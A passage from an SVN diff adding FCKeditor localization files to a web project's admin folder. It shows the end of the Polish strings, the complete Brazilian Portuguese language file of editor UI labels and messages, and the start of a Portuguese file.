+DlgCellVerAlign		: "Wyrównanie pionowe",
+DlgCellVerAlignNotSet	: "<brak ustawień>",
+DlgCellVerAlignTop	: "Do góry",
+DlgCellVerAlignMiddle	: "Do środka",
+DlgCellVerAlignBottom	: "Do dołu",
+DlgCellVerAlignBaseline	: "Do linii bazowej",
+DlgCellRowSpan		: "Zajętość wierszy",
+DlgCellCollSpan		: "Zajętość kolumn",
+DlgCellBackColor	: "Kolor tła",
+DlgCellBorderColor	: "Kolor ramki",
+DlgCellBtnSelect	: "Wybierz...",
+
+// Find Dialog
+DlgFindTitle		: "Znajdź",
+DlgFindFindBtn		: "Znajdź",
+DlgFindNotFoundMsg	: "Nie znaleziono szukanego hasła.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Zamień",
+DlgReplaceFindLbl		: "Znajdź:",
+DlgReplaceReplaceLbl	: "Zastąp przez:",
+DlgReplaceCaseChk		: "Uwzględnij wielkość liter",
+DlgReplaceReplaceBtn	: "Zastąp",
+DlgReplaceReplAllBtn	: "Zastąp wszystko",
+DlgReplaceWordChk		: "Całe słowa",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Ustawienia bezpieczeństwa Twojej przeglądarki nie pozwalają na automatyczne wklejanie tekstu. Użyj skrótu klawiszowego Ctrl+V.",
+PasteErrorCut	: "Ustawienia bezpieczeństwa Twojej przeglądarki nie pozwalają na automatyczne wycinanie tekstu. Użyj skrótu klawiszowego Ctrl+X.",
+PasteErrorCopy	: "Ustawienia bezpieczeństwa Twojej przeglądarki nie pozwalają na automatyczne kopiowanie tekstu. Użyj skrótu klawiszowego Ctrl+C.",
+
+PasteAsText		: "Wklej jako czysty tekst",
+PasteFromWord	: "Wklej z Worda",
+
+DlgPasteMsg2	: "Proszę wkleić w poniższym polu używając klawiaturowego skrótu (<STRONG>Ctrl+V</STRONG>) i kliknąć <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignoruj definicje 'Font Face'",
+DlgPasteRemoveStyles	: "Usuń definicje Stylów",
+DlgPasteCleanBox		: "Wyczyść",
+
+// Color Picker
+ColorAutomatic	: "Automatycznie",
+ColorMoreColors	: "Więcej kolorów...",
+
+// Document Properties
+DocProps		: "Właściwości dokumentu",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Właściwości kotwicy",
+DlgAnchorName		: "Nazwa kotwicy",
+DlgAnchorErrorName	: "Wpisz nazwę kotwicy",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Słowa nie ma w słowniku",
+DlgSpellChangeTo		: "Zmień na",
+DlgSpellBtnIgnore		: "Ignoruj",
+DlgSpellBtnIgnoreAll	: "Ignoruj wszystkie",
+DlgSpellBtnReplace		: "Zmień",
+DlgSpellBtnReplaceAll	: "Zmień wszystkie",
+DlgSpellBtnUndo			: "Undo",
+DlgSpellNoSuggestions	: "- Brak sugestii -",
+DlgSpellProgress		: "Trwa sprawdzanie ...",
+DlgSpellNoMispell		: "Sprawdzanie zakończone: nie znaleziono błędów",
+DlgSpellNoChanges		: "Sprawdzanie zakończone: nie zmieniono żadnego słowa",
+DlgSpellOneChange		: "Sprawdzanie zakończone: zmieniono jedno słowo",
+DlgSpellManyChanges		: "Sprawdzanie zakończone: zmieniono %l słów",
+
+IeSpellDownload			: "Słownik nie jest zainstalowany. Chcesz go ściągnąć?",
+
+// Button Dialog
+DlgButtonText		: "Tekst (Wartość)",
+DlgButtonType		: "Typ",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nazwa",
+DlgCheckboxValue	: "Wartość",
+DlgCheckboxSelected	: "Zaznaczony",
+
+// Form Dialog
+DlgFormName		: "Nazwa",
+DlgFormAction	: "Akcja",
+DlgFormMethod	: "Metoda",
+
+// Select Field Dialog
+DlgSelectName		: "Nazwa",
+DlgSelectValue		: "Wartość",
+DlgSelectSize		: "Rozmiar",
+DlgSelectLines		: "linii",
+DlgSelectChkMulti	: "Wielokrotny wybór",
+DlgSelectOpAvail	: "Dostępne opcje",
+DlgSelectOpText		: "Tekst",
+DlgSelectOpValue	: "Wartość",
+DlgSelectBtnAdd		: "Dodaj",
+DlgSelectBtnModify	: "Zmień",
+DlgSelectBtnUp		: "Do góry",
+DlgSelectBtnDown	: "Do dołu",
+DlgSelectBtnSetValue : "Ustaw wartość zaznaczoną",
+DlgSelectBtnDelete	: "Usuń",
+
+// Textarea Dialog
+DlgTextareaName	: "Nazwa",
+DlgTextareaCols	: "Kolumnu",
+DlgTextareaRows	: "Wiersze",
+
+// Text Field Dialog
+DlgTextName			: "Nazwa",
+DlgTextValue		: "Wartość",
+DlgTextCharWidth	: "Szerokość w znakach",
+DlgTextMaxChars		: "Max. szerokość",
+DlgTextType			: "Typ",
+DlgTextTypeText		: "Tekst",
+DlgTextTypePass		: "Hasło",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nazwa",
+DlgHiddenValue	: "Wartość",
+
+// Bulleted List Dialog
+BulletedListProp	: "Właściwości listy punktowanej",
+NumberedListProp	: "Właściwości listy numerowanej",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Typ",
+DlgLstTypeCircle	: "Koło",
+DlgLstTypeDisc		: "Dysk",
+DlgLstTypeSquare	: "Kwadrat",
+DlgLstTypeNumbers	: "Cyfry (1, 2, 3)",
+DlgLstTypeLCase		: "Małe litery (a, b, c)",
+DlgLstTypeUCase		: "Duże litery (A, B, C)",
+DlgLstTypeSRoman	: "Numeracja rzymska (i, ii, iii)",
+DlgLstTypeLRoman	: "Numeracja rzymska (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Ogólne",
+DlgDocBackTab		: "Tło",
+DlgDocColorsTab		: "Kolory i marginesy",
+DlgDocMetaTab		: "Meta Dane",
+
+DlgDocPageTitle		: "Tytuł strony",
+DlgDocLangDir		: "Kierunek pisania",
+DlgDocLangDirLTR	: "Od lewej do prawej (LTR)",
+DlgDocLangDirRTL	: "Od prawej do lewej (RTL)",
+DlgDocLangCode		: "Kod języka",
+DlgDocCharSet		: "Kodowanie znaków",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Inne kodowanie znaków",
+
+DlgDocDocType		: "Nagłowek typu dokumentu",
+DlgDocDocTypeOther	: "Inny typ dokumentu",
+DlgDocIncXHTML		: "Dołącz deklarację XHTML",
+DlgDocBgColor		: "Kolor tła",
+DlgDocBgImage		: "Obrazek tła",
+DlgDocBgNoScroll	: "Tło nieruchome",
+DlgDocCText			: "Tekst",
+DlgDocCLink			: "Hiperłącze",
+DlgDocCVisited		: "Odwiedzane hiperłącze",
+DlgDocCActive		: "Aktywne hiperłącze",
+DlgDocMargins		: "Marginesy strony",
+DlgDocMaTop			: "Górny",
+DlgDocMaLeft		: "Lewy",
+DlgDocMaRight		: "Prawy",
+DlgDocMaBottom		: "Dolny",
+DlgDocMeIndex		: "Słowa kluczowe (oddzielone przecinkami)",
+DlgDocMeDescr		: "Opis dokumentu",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Podgląd",
+
+// Templates Dialog
+Templates			: "Sablony",
+DlgTemplatesTitle	: "Szablony zawartości",
+DlgTemplatesSelMsg	: "Wybierz szablon do otwarcia w edytorze<br>(obecna zawartość okna edytora zostanie utracona):",
+DlgTemplatesLoading	: "Ładowanie listy szablonów. Proszę czekać...",
+DlgTemplatesNoTpl	: "(Brak zdefiniowanych szablonów)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "O ...",
+DlgAboutBrowserInfoTab	: "O przeglądarce",
+DlgAboutLicenseTab	: "Licencja",
+DlgAboutVersion		: "wersja",
+DlgAboutLicense		: "na licencji GNU Lesser General Public License",
+DlgAboutInfo		: "Więcej informacji uzyskasz pod adresem"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/pt-br.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/pt-br.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/pt-br.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: pt-br.js
+ * 	Brazilian Portuguese language file.
+ * 
+ * File Authors:
+ * 		Carlos Alberto Tomatis Loth (carlos.loth@conectait.com.br)
+ * 		GibaPhp (http://www.xoopstotal.com.br)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Ocultar Barra de Ferramentas",
+ToolbarExpand		: "Exibir Barra de Ferramentas",
+
+// Toolbar Items and Context Menu
+Save				: "Salvar",
+NewPage				: "Novo",
+Preview				: "Visualizar",
+Cut					: "Recortar",
+Copy				: "Copiar",
+Paste				: "Colar",
+PasteText			: "Colar como Texto sem Formatação",
+PasteWord			: "Colar do Word",
+Print				: "Imprimir",
+SelectAll			: "Selecionar Tudo",
+RemoveFormat		: "Remover Formatação",
+InsertLinkLbl		: "Hiperlink",
+InsertLink			: "Inserir/Editar Hiperlink",
+RemoveLink			: "Remover Hiperlink",
+Anchor				: "Inserir/Editar Âncora",
+InsertImageLbl		: "Figura",
+InsertImage			: "Inserir/Editar Figura",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Insere/Edita Flash",
+InsertTableLbl		: "Tabela",
+InsertTable			: "Inserir/Editar Tabela",
+InsertLineLbl		: "Linha",
+InsertLine			: "Inserir Linha Horizontal",
+InsertSpecialCharLbl: "Caracteres Especiais",
+InsertSpecialChar	: "Inserir Caractere Especial",
+InsertSmileyLbl		: "Emoticon",
+InsertSmiley		: "Inserir Emoticon",
+About				: "Sobre FCKeditor",
+Bold				: "Negrito",
+Italic				: "Itálico",
+Underline			: "Sublinhado",
+StrikeThrough		: "Tachado",
+Subscript			: "Subscrito",
+Superscript			: "Sobrescrito",
+LeftJustify			: "Alinhar Esquerda",
+CenterJustify		: "Centralizar",
+RightJustify		: "Alinhar Direita",
+BlockJustify		: "Justificado",
+DecreaseIndent		: "Diminuir Recuo",
+IncreaseIndent		: "Aumentar Recuo",
+Undo				: "Desfazer",
+Redo				: "Refazer",
+NumberedListLbl		: "Numeração",
+NumberedList		: "Inserir/Remover Numeração",
+BulletedListLbl		: "Marcadores",
+BulletedList		: "Inserir/Remover Marcadores",
+ShowTableBorders	: "Exibir Bordas da Tabela",
+ShowDetails			: "Exibir Detalhes",
+Style				: "Estilo",
+FontFormat			: "Formatação",
+Font				: "Fonte",
+FontSize			: "Tamanho",
+TextColor			: "Cor do Texto",
+BGColor				: "Cor do Plano de Fundo",
+Source				: "Código-Fonte",
+Find				: "Localizar",
+Replace				: "Substituir",
+SpellCheck			: "Verificar Ortografia",
+UniversalKeyboard	: "Teclado Universal",
+PageBreakLbl		: "Quebra de Página",
+PageBreak			: "Inserir Quebra de Página",
+
+Form			: "Formulário",
+Checkbox		: "Caixa de Seleção",
+RadioButton		: "Botão de Opção",
+TextField		: "Caixa de Texto",
+Textarea		: "Área de Texto",
+HiddenField		: "Campo Oculto",
+Button			: "Botão",
+SelectionField	: "Caixa de Listagem",
+ImageButton		: "Botão de Imagem",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Editar Hiperlink",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Inserir Linha",
+DeleteRows			: "Remover Linhas",
+InsertColumn		: "Inserir Coluna",
+DeleteColumns		: "Remover Colunas",
+InsertCell			: "Inserir Células",
+DeleteCells			: "Remover Células",
+MergeCells			: "Mesclar Células",
+SplitCell			: "Dividir Célular",
+TableDelete			: "Apagar Tabela",
+CellProperties		: "Formatar Célula",
+TableProperties		: "Formatar Tabela",
+ImageProperties		: "Formatar Figura",
+FlashProperties		: "Propriedades Flash",
+
+AnchorProp			: "Formatar Âncora",
+ButtonProp			: "Formatar Botão",
+CheckboxProp		: "Formatar Caixa de Seleção",
+HiddenFieldProp		: "Formatar Campo Oculto",
+RadioButtonProp		: "Formatar Botão de Opção",
+ImageButtonProp		: "Formatar Botão de Imagem",
+TextFieldProp		: "Formatar Caixa de Texto",
+SelectionFieldProp	: "Formatar Caixa de Listagem",
+TextareaProp		: "Formatar Área de Texto",
+FormProp			: "Formatar Formulário",
+
+FontFormats			: "Normal;Formatado;Endereço;Título 1;Título 2;Título 3;Título 4;Título 5;Título 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Processando XHTML. Por favor, aguarde...",
+Done				: "Pronto",
+PasteWordConfirm	: "O texto que você deseja colar parece ter sido copiado do Word. Você gostaria de remover a formatação antes de colar?",
+NotCompatiblePaste	: "Este comando está disponível para o navegador Internet Explorer 5.5 ou superior. Você gostaria de colar sem remover a formatação?",
+UnknownToolbarItem	: "O item da barra de ferramentas \"%1\" não é reconhecido",
+UnknownCommand		: "O comando \"%1\" não é reconhecido",
+NotImplemented		: "O comando não foi implementado",
+UnknownToolbarSet	: "A barra de ferramentas \"%1\" não existe",
+NoActiveX			: "As configurações de segurança do seu browser podem limitar algumas características do editor. Você precisa habilitar a opção \"Executar controles e plug-ins ActiveX\". Você pode experimentar erros e alertas de características faltantes.",
+BrowseServerBlocked : "Os recursos do browser não puderam ser abertos. Tenha certeza que todos os bloqueadores de popup estão desabilitados.",
+DialogBlocked		: "Não foi possível abrir a janela de diálogo. Tenha certeza que todos os bloqueadores de popup estão desabilitados.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Cancelar",
+DlgBtnClose			: "Fechar",
+DlgBtnBrowseServer	: "Localizar no Servidor",
+DlgAdvancedTag		: "Avançado",
+DlgOpOther			: "<Outros>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Inserir a URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<não ajustado>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Direção do idioma",
+DlgGenLangDirLtr	: "Esquerda para Direita (LTR)",
+DlgGenLangDirRtl	: "Direita para Esquerda (RTL)",
+DlgGenLangCode		: "Idioma",
+DlgGenAccessKey		: "Chave de Acesso",
+DlgGenName			: "Nome",
+DlgGenTabIndex		: "Índice de Tabulação",
+DlgGenLongDescr		: "Descrição da URL",
+DlgGenClass			: "Classe de Folhas de Estilo",
+DlgGenTitle			: "Título",
+DlgGenContType		: "Tipo de Conteúdo",
+DlgGenLinkCharset	: "Conjunto de Caracteres do Hiperlink",
+DlgGenStyle			: "Estilos",
+
+// Image Dialog
+DlgImgTitle			: "Formatar Figura",
+DlgImgInfoTab		: "Informações da Figura",
+DlgImgBtnUpload		: "Enviar para o Servidor",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Submeter",
+DlgImgAlt			: "Texto Alternativo",
+DlgImgWidth			: "Largura",
+DlgImgHeight		: "Altura",
+DlgImgLockRatio		: "Manter proporções",
+DlgBtnResetSize		: "Redefinir para o Tamanho Original",
+DlgImgBorder		: "Borda",
+DlgImgHSpace		: "Horizontal",
+DlgImgVSpace		: "Vertical",
+DlgImgAlign			: "Alinhamento",
+DlgImgAlignLeft		: "Esquerda",
+DlgImgAlignAbsBottom: "Inferior Absoluto",
+DlgImgAlignAbsMiddle: "Centralizado Absoluto",
+DlgImgAlignBaseline	: "Baseline",
+DlgImgAlignBottom	: "Inferior",
+DlgImgAlignMiddle	: "Centralizado",
+DlgImgAlignRight	: "Direita",
+DlgImgAlignTextTop	: "Superior Absoluto",
+DlgImgAlignTop		: "Superior",
+DlgImgPreview		: "Visualização",
+DlgImgAlertUrl		: "Por favor, digite o URL da figura.",
+DlgImgLinkTab		: "Hiperlink",
+
+// Flash Dialog
+DlgFlashTitle		: "Propriedades Flash",
+DlgFlashChkPlay		: "Tocar Automaticamente",
+DlgFlashChkLoop		: "Loop",
+DlgFlashChkMenu		: "Habilita Menu Flash",
+DlgFlashScale		: "Escala",
+DlgFlashScaleAll	: "Mostrar tudo",
+DlgFlashScaleNoBorder	: "Sem Borda",
+DlgFlashScaleFit	: "Escala Exata",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Hiperlink",
+DlgLnkInfoTab		: "Informações do hiperlink",
+DlgLnkTargetTab		: "Informações de destino",
+
+DlgLnkType			: "Tipo de hiperlink",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Âncora nesta página",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protocolo",
+DlgLnkProtoOther	: "<outro>",
+DlgLnkURL			: "URL do hiperlink",
+DlgLnkAnchorSel		: "Selecione uma âncora",
+DlgLnkAnchorByName	: "Pelo Nome da âncora",
+DlgLnkAnchorById	: "Pelo Id do Elemento",
+DlgLnkNoAnchors		: "<Não há âncoras disponíveis neste documento>",
+DlgLnkEMail			: "Endereço E-Mail",
+DlgLnkEMailSubject	: "Assunto da Mensagem",
+DlgLnkEMailBody		: "Corpo da Mensagem",
+DlgLnkUpload		: "Enviar ao Servidor",
+DlgLnkBtnUpload		: "Enviar ao Servidor",
+
+DlgLnkTarget		: "Destino",
+DlgLnkTargetFrame	: "<quadro>",
+DlgLnkTargetPopup	: "<janela popup>",
+DlgLnkTargetBlank	: "Nova Janela (_blank)",
+DlgLnkTargetParent	: "Janela Pai (_parent)",
+DlgLnkTargetSelf	: "Mesma Janela (_self)",
+DlgLnkTargetTop		: "Janela Superior (_top)",
+DlgLnkTargetFrameName	: "Nome do Frame de Destino",
+DlgLnkPopWinName	: "Nome da Janela Pop-up",
+DlgLnkPopWinFeat	: "Atributos da Janela Pop-up",
+DlgLnkPopResize		: "Redimensionável",
+DlgLnkPopLocation	: "Barra de Endereços",
+DlgLnkPopMenu		: "Barra de Menus",
+DlgLnkPopScroll		: "Barras de Rolagem",
+DlgLnkPopStatus		: "Barra de Status",
+DlgLnkPopToolbar	: "Barra de Ferramentas",
+DlgLnkPopFullScrn	: "Modo Tela Cheia (IE)",
+DlgLnkPopDependent	: "Dependente (Netscape)",
+DlgLnkPopWidth		: "Largura",
+DlgLnkPopHeight		: "Altura",
+DlgLnkPopLeft		: "Esquerda",
+DlgLnkPopTop		: "Superior",
+
+DlnLnkMsgNoUrl		: "Por favor, digite o endereço do Hiperlink",
+DlnLnkMsgNoEMail	: "Por favor, digite o endereço de e-mail",
+DlnLnkMsgNoAnchor	: "Por favor, selecione uma âncora",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Selecione uma Cor",
+DlgColorBtnClear	: "Limpar",
+DlgColorHighlight	: "Visualização",
+DlgColorSelected	: "Selecionada",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Inserir Emoticon",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Selecione um Caractere Especial",
+
+// Table Dialog
+DlgTableTitle		: "Formatar Tabela",
+DlgTableRows		: "Linhas",
+DlgTableColumns		: "Colunas",
+DlgTableBorder		: "Borda",
+DlgTableAlign		: "Alinhamento",
+DlgTableAlignNotSet	: "<Não ajustado>",
+DlgTableAlignLeft	: "Esquerda",
+DlgTableAlignCenter	: "Centralizado",
+DlgTableAlignRight	: "Direita",
+DlgTableWidth		: "Largura",
+DlgTableWidthPx		: "pixels",
+DlgTableWidthPc		: "%",
+DlgTableHeight		: "Altura",
+DlgTableCellSpace	: "Espaçamento",
+DlgTableCellPad		: "Enchimento",
+DlgTableCaption		: "Legenda",
+DlgTableSummary		: "Resumo",
+
+// Table Cell Dialog
+DlgCellTitle		: "Formatar célula",
+DlgCellWidth		: "Largura",
+DlgCellWidthPx		: "pixels",
+DlgCellWidthPc		: "%",
+DlgCellHeight		: "Altura",
+DlgCellWordWrap		: "Quebra de Linha",
+DlgCellWordWrapNotSet	: "<Não ajustado>",
+DlgCellWordWrapYes	: "Sim",
+DlgCellWordWrapNo	: "Não",
+DlgCellHorAlign		: "Alinhamento Horizontal",
+DlgCellHorAlignNotSet	: "<Não ajustado>",
+DlgCellHorAlignLeft	: "Esquerda",
+DlgCellHorAlignCenter	: "Centralizado",
+DlgCellHorAlignRight: "Direita",
+DlgCellVerAlign		: "Alinhamento Vertical",
+DlgCellVerAlignNotSet	: "<Não ajustado>",
+DlgCellVerAlignTop	: "Superior",
+DlgCellVerAlignMiddle	: "Centralizado",
+DlgCellVerAlignBottom	: "Inferior",
+DlgCellVerAlignBaseline	: "Baseline",
+DlgCellRowSpan		: "Transpor Linhas",
+DlgCellCollSpan		: "Transpor Colunas",
+DlgCellBackColor	: "Cor do Plano de Fundo",
+DlgCellBorderColor	: "Cor da Borda",
+DlgCellBtnSelect	: "Selecionar...",
+
+// Find Dialog
+DlgFindTitle		: "Localizar...",
+DlgFindFindBtn		: "Localizar",
+DlgFindNotFoundMsg	: "O texto especificado não foi encontrado.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Substituir",
+DlgReplaceFindLbl		: "Procurar por:",
+DlgReplaceReplaceLbl	: "Substituir por:",
+DlgReplaceCaseChk		: "Coincidir Maiúsculas/Minúsculas",
+DlgReplaceReplaceBtn	: "Substituir",
+DlgReplaceReplAllBtn	: "Substituir Tudo",
+DlgReplaceWordChk		: "Coincidir a palavra inteira",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "As configurações de segurança do seu navegador não permitem que o editor execute operações de colar automaticamente. Por favor, utilize o teclado para colar (Ctrl+V).",
+PasteErrorCut	: "As configurações de segurança do seu navegador não permitem que o editor execute operações de recortar automaticamente. Por favor, utilize o teclado para recortar (Ctrl+X).",
+PasteErrorCopy	: "As configurações de segurança do seu navegador não permitem que o editor execute operações de copiar automaticamente. Por favor, utilize o teclado para copiar (Ctrl+C).",
+
+PasteAsText		: "Colar como Texto sem Formatação",
+PasteFromWord	: "Colar do Word",
+
+DlgPasteMsg2	: "Transfira o link usado no box usando o teclado com (<STRONG>Ctrl+V</STRONG>) e <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignorar definições de fonte",
+DlgPasteRemoveStyles	: "Remove definições de estilo",
+DlgPasteCleanBox		: "Limpar Box",
+
+// Color Picker
+ColorAutomatic	: "Automático",
+ColorMoreColors	: "Mais Cores...",
+
+// Document Properties
+DocProps		: "Propriedades Documento",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Formatar Âncora",
+DlgAnchorName		: "Nome da Âncora",
+DlgAnchorErrorName	: "Por favor, digite o nome da âncora",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Não encontrada",
+DlgSpellChangeTo		: "Alterar para",
+DlgSpellBtnIgnore		: "Ignorar uma vez",
+DlgSpellBtnIgnoreAll	: "Ignorar Todas",
+DlgSpellBtnReplace		: "Alterar",
+DlgSpellBtnReplaceAll	: "Alterar Todas",
+DlgSpellBtnUndo			: "Desfazer",
+DlgSpellNoSuggestions	: "-sem sugestões de ortografia-",
+DlgSpellProgress		: "Verificação ortográfica em andamento...",
+DlgSpellNoMispell		: "Verificação encerrada: Não foram encontrados erros de ortografia",
+DlgSpellNoChanges		: "Verificação ortográfica encerrada: Não houve alterações",
+DlgSpellOneChange		: "Verificação ortográfica encerrada: Uma palavra foi alterada",
+DlgSpellManyChanges		: "Verificação ortográfica encerrada: %1 foram alteradas",
+
+IeSpellDownload			: "A verificação ortográfica não foi instalada. Você gostaria de realizar o download agora?",
+
+// Button Dialog
+DlgButtonText		: "Texto (Valor)",
+DlgButtonType		: "Tipo",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nome",
+DlgCheckboxValue	: "Valor",
+DlgCheckboxSelected	: "Selecionado",
+
+// Form Dialog
+DlgFormName		: "Nome",
+DlgFormAction	: "Action",
+DlgFormMethod	: "Método",
+
+// Select Field Dialog
+DlgSelectName		: "Nome",
+DlgSelectValue		: "Valor",
+DlgSelectSize		: "Tamanho",
+DlgSelectLines		: "linhas",
+DlgSelectChkMulti	: "Permitir múltiplas seleções",
+DlgSelectOpAvail	: "Opções disponíveis",
+DlgSelectOpText		: "Texto",
+DlgSelectOpValue	: "Valor",
+DlgSelectBtnAdd		: "Adicionar",
+DlgSelectBtnModify	: "Modificar",
+DlgSelectBtnUp		: "Para cima",
+DlgSelectBtnDown	: "Para baixo",
+DlgSelectBtnSetValue : "Definir como selecionado",
+DlgSelectBtnDelete	: "Remover",
+
+// Textarea Dialog
+DlgTextareaName	: "Nome",
+DlgTextareaCols	: "Colunas",
+DlgTextareaRows	: "Linhas",
+
+// Text Field Dialog
+DlgTextName			: "Nome",
+DlgTextValue		: "Valor",
+DlgTextCharWidth	: "Comprimento (em caracteres)",
+DlgTextMaxChars		: "Número Máximo de Caracteres",
+DlgTextType			: "Tipo",
+DlgTextTypeText		: "Texto",
+DlgTextTypePass		: "Senha",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nome",
+DlgHiddenValue	: "Valor",
+
+// Bulleted List Dialog
+BulletedListProp	: "Formatar Marcadores",
+NumberedListProp	: "Formatar Numeração",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tipo",
+DlgLstTypeCircle	: "Círculo",
+DlgLstTypeDisc		: "Disco",
+DlgLstTypeSquare	: "Quadrado",
+DlgLstTypeNumbers	: "Números (1, 2, 3)",
+DlgLstTypeLCase		: "Letras Minúsculas (a, b, c)",
+DlgLstTypeUCase		: "Letras Maiúsculas (A, B, C)",
+DlgLstTypeSRoman	: "Números Romanos Minúsculos (i, ii, iii)",
+DlgLstTypeLRoman	: "Números Romanos Maiúsculos (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Geral",
+DlgDocBackTab		: "Plano de Fundo",
+DlgDocColorsTab		: "Cores e Margens",
+DlgDocMetaTab		: "Meta Dados",
+
+DlgDocPageTitle		: "Título da Página",
+DlgDocLangDir		: "Direção do Idioma",
+DlgDocLangDirLTR	: "Esquerda para Direita (LTR)",
+DlgDocLangDirRTL	: "Direita para Esquerda (RTL)",
+DlgDocLangCode		: "Código do Idioma",
+DlgDocCharSet		: "Codificação de Caracteres",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Outra Codificação de Caracteres",
+
+DlgDocDocType		: "Cabeçalho Tipo de Documento",
+DlgDocDocTypeOther	: "Other Document Type Heading",
+DlgDocIncXHTML		: "Incluir Declarações XHTML",
+DlgDocBgColor		: "Cor do Plano de Fundo",
+DlgDocBgImage		: "URL da Imagem de Plano de Fundo",
+DlgDocBgNoScroll	: "Plano de Fundo Fixo",
+DlgDocCText			: "Texto",
+DlgDocCLink			: "Hiperlink",
+DlgDocCVisited		: "Hiperlink Visitado",
+DlgDocCActive		: "Hiperlink Ativo",
+DlgDocMargins		: "Margens da Página",
+DlgDocMaTop			: "Superior",
+DlgDocMaLeft		: "Inferior",
+DlgDocMaRight		: "Direita",
+DlgDocMaBottom		: "Inferior",
+DlgDocMeIndex		: "Palavras-chave de Indexação do Documento (separadas por vírgula)",
+DlgDocMeDescr		: "Descrição do Documento",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Direitos Autorais",
+DlgDocPreview		: "Visualizar",
+
+// Templates Dialog
+Templates			: "Modelos de layout",
+DlgTemplatesTitle	: "Modelo de layout do conteúdo",
+DlgTemplatesSelMsg	: "Selecione um modelo de layout para ser aberto no editor<br>(o conteúdo atual será perdido):",
+DlgTemplatesLoading	: "Carregando a lista de modelos de layout. Aguarde...",
+DlgTemplatesNoTpl	: "(Não foram definidos modelos de layout)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Sobre",
+DlgAboutBrowserInfoTab	: "Informações do Navegador",
+DlgAboutLicenseTab	: "Licença",
+DlgAboutVersion		: "versão",
+DlgAboutLicense		: "Licenciado sob os termos da GNU Lesser General Public License",
+DlgAboutInfo		: "Para maiores informações visite"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/pt.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/pt.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/pt.js	(revision 44)
@@ -0,0 +1,501 @@
